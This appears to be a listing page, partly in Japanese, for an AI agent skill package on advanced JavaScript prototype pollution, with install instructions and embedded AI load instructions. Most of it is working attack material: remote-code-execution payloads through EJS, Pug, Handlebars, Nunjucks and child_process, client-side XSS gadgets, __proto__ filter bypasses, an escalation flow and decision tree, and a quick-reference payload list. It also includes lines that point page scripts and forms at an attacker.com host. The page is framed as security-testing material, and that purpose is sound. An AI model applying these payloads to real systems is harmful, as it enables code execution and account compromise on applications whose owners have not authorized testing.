prototype-pollution-advanced について
JavaScriptのプロトタイプ汚染を調査するセキュリティ担当者向けの応用スキルです。サーバー側RCEやクライアント側ガジェットの分析、検出、フィルター回避を扱い、基礎スキルの先行学習を案内します。
主な機能
- 01サーバー側テンプレートとchild_processのガジェット
- 02クライアント側スクリプトガジェットのパターン
- 03ブラックボックスでの汚染検出
- 04フィルター回避手法
- 05悪用手順と判断ツリー
活用シーン
- 01Node.jsアプリの汚染からRCEに至る経路の評価
- 02クライアント側汚染からXSSへの経路の追跡
- 03プロトタイプ汚染キーを遮断するフィルターの検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill prototype-pollution-advancedインストール後、Claude Code で/prototype-pollution-advancedを入力して読み込まれたか確認します。
同梱ファイルKNOWN_GADGETS.md
詳細
SKILL:プロトタイプ汚染の高度な手法 — RCE とガジェットの悪用
AI LOAD INSTRUCTION:プロトタイプ汚染を高度な手法でエスカレーションする内容です。テンプレートエンジン(EJS、Pug、Handlebars)を介したサーバーサイド RCE、Node.js の child_process ガジェット、クライアントサイドのスクリプトガジェット、フィルターのバイパスパターン、体系的な検出について説明します。まず../prototype-pollution/SKILL.mdを読み込み、基礎(マージシンク、
__proto__とconstructor.prototypeの違い、基本的なプローブ)を確認してください。
0. 関連するルーティング
- prototype-pollution — プロトタイプ汚染の基礎、マージシンクの検出、基本的なプローブについては、最初に読み込んでください
- ssti-server-side-template-injection — テンプレートエンジンの RCE に関するコンテキスト(プロトタイプ汚染は、テンプレートガジェットを介して発生することがよくあります)
- xss-cross-site-scripting — クライアントサイドのプロトタイプ汚染ガジェットは、最終的に XSS を引き起こします
高度なリファレンス
KNOWN_GADGETS.mdを読み込み、フレームワーク/ライブラリごとの包括的なガジェット表を確認してください。汚染されるプロパティ、トリガー条件、影響、該当するバージョンが記載されています。
1. サーバーサイドのプロトタイプ汚染 → RCE
1.1 Node.js child_process.spawn — シェル/環境変数のインジェクション
child_process.spawn または child_process.fork が明示的な env/shell オプションなしで呼び出されると、Object.prototype から値を継承します。
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls'); // inherits shell, env from prototype
// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
環境変数を汚染する別の方法:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS(Embedded JavaScript Templates)
EJS の render() はオブジェクトのプロパティから opts を読み取ります。outputFunctionName を汚染すると、コンパイル済みテンプレート関数にコードを注入できます。
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE
検出:汚染後に EJS の res.render() 呼び出しがあると、必ずトリガーされます。
1.3 Pug(旧称 Jade)
Pug のコンパイラーはオブジェクトのプロパティから block を読み取ります。
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
self オプションを使った別の方法:
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
1.4 Handlebars
Handlebars のテンプレートコンパイルでは、テンプレート AST ノードの type と program が確認されます。
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}
allowProtoMethodsByDefault を使うより簡単な方法:
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
1.5 Nunjucks
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
1.6 Express res.render(汎用)
Express が res.render() を呼び出すと、オプションは app.locals および res.locals とマージされます。汚染されたプロトタイププロパティは、テンプレート変数として現れます。
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}
2. クライアントサイドのプロトタイプ汚染
2.1 jQuery ガジェット
$.extend(true, {}, userInput) はディープマージを実行するため、典型的なプロトタイプ汚染のシンクです。
汚染後は、jQuery の HTML メソッドが汚染されたプロパティを使用します。
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body'); // may use polluted property
2.2 Lodash ガジェット
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value) // if path is attacker-controlled
// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')(); // sourceURL injected into Function constructor
2.3 フレームワークのスクリプトガジェット
「スクリプトガジェット」とは、Object.prototype から値を読み取り、危険な操作を実行するフレームワークのコードパスです。
| フレームワーク | ガジェットパターン | 汚染されるプロパティ | 影響 |
|---|---|---|---|
| jQuery | $.html()、要素の作成 | innerHTML、src | XSS |
| Angular.js | $interpolate | __defineGetter__ | XSS |
| Vue.js | テンプレートのコンパイル | template、render | XSS |
| Ember.js | コンポーネントのレンダリング | 各種ビューのプロパティ | XSS |
| Backbone.js | _.template | sourceURL | XSS |
2.4 DOM プロパティの汚染
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these
3. 検出手法
3.1 ブラックボックスによるサーバーサイド検出
Step 1: Inject and check
POST /api/endpoint
{"__proto__":{"polluted":"yes"}}
Then: GET /api/anything
Check if response contains "polluted" or behavior changes
Step 2: Error-based detection
{"__proto__":{"toString":1}}
→ If server crashes or returns 500, toString was overwritten
{"__proto__":{"valueOf":1}}
→ Same crash-based detection
Step 3: Response differential
{"__proto__":{"status":555}}
→ Check if HTTP status code changes to 555
{"__proto__":{"content-type":"text/plain"}}
→ Check if Content-Type header changes
3.2 ブラックボックスによるクライアントサイド検出
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype
// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
set: function(v) { console.trace('PP detected!', v); }
});
3.3 自動化ツール
| ツール | 種類 | 用途 |
|---|---|---|
| PPScan | Burp 拡張機能 | サーバーサイドのプロトタイプ汚染をスキャンします |
| server-side-prototype-pollution | Burp 拡張機能(Gareth Heyes) | 複数の手法を用いて、高度なサーバーサイドのプロトタイプ汚染を検出します |
| ppfuzz | CLI | URL フラグメント/クエリを介したクライアントサイドのプロトタイプ汚染をファジングします |
| ppmap | CLI | クライアントサイドのプロトタイプ汚染を既知のガジェットにマッピングします |
4. __proto__ フィルターのバイパス
4.1 constructor.prototype のパス
// Instead of:
{"__proto__": {"polluted": "yes"}}
// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}
4.2 ブラケット記法のバリエーション
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes (if filter strips __proto__ once)
4.3 JSON キーのバリエーション
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}
4.4 重要な違い:シャローコピーとディープコピー
Object.assign はプロトタイプを汚染しません(シャローコピーのため安全です)。脆弱なのは、再帰的なマージ関数やディープマージ関数のみです。マージの深さは必ず確認してください。
5. 悪用の流れ
1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
└── JSON body parsed and deep-merged into server object
2. Confirm pollution:
└── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally
3. Identify technology stack:
├── Express + EJS → outputFunctionName gadget (Section 1.2)
├── Express + Pug → block gadget (Section 1.3)
├── Express + Handlebars → type/program gadget (Section 1.4)
├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
├── Client-side jQuery → DOM gadgets (Section 2.1)
├── Client-side Lodash → template/sourceURL (Section 2.2)
└── Unknown → try KNOWN_GADGETS.md systematically
4. Craft RCE/XSS payload matching gadget
5. Verify with safe payload first (sleep / DNS callback)
6. Escalate to full RCE
6. 判断ツリー
Confirmed prototype pollution?
│
├── Server-side or client-side?
│ │
│ ├── SERVER-SIDE
│ │ ├── Template engine in use?
│ │ │ ├── EJS → __proto__.outputFunctionName (Section 1.2)
│ │ │ ├── Pug → __proto__.block (Section 1.3)
│ │ │ ├── Handlebars → __proto__.type (Section 1.4)
│ │ │ ├── Nunjucks → __proto__.type (Section 1.5)
│ │ │ └── Unknown → try each gadget from KNOWN_GADGETS.md
│ │ │
│ │ ├── child_process used anywhere?
│ │ │ ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│ │ │ └── MAYBE → inject and trigger error to reveal stack
│ │ │
│ │ └── No known gadget?
│ │ ├── Try status code pollution: __proto__.status = 555
│ │ ├── Try header pollution: __proto__.content-type
│ │ └── Check KNOWN_GADGETS.md for framework match
│ │
│ └── CLIENT-SIDE
│ ├── jQuery loaded?
│ │ ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│ │ └── Check ppmap for automated gadget detection
│ │
│ ├── Lodash loaded?
│ │ ├── YES → _.template sourceURL gadget (Section 2.2)
│ │ └── _.merge as both sink AND gadget
│ │
│ └── Framework (Angular/Vue/Ember)?
│ └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│ ├── Try constructor.prototype (Section 4.1)
│ ├── Try bracket notation (Section 4.2)
│ └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
└── Go back to ../prototype-pollution/SKILL.md for detection
7. QUICK REFERENCE — KEY PAYLOADS
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}
// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}
// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}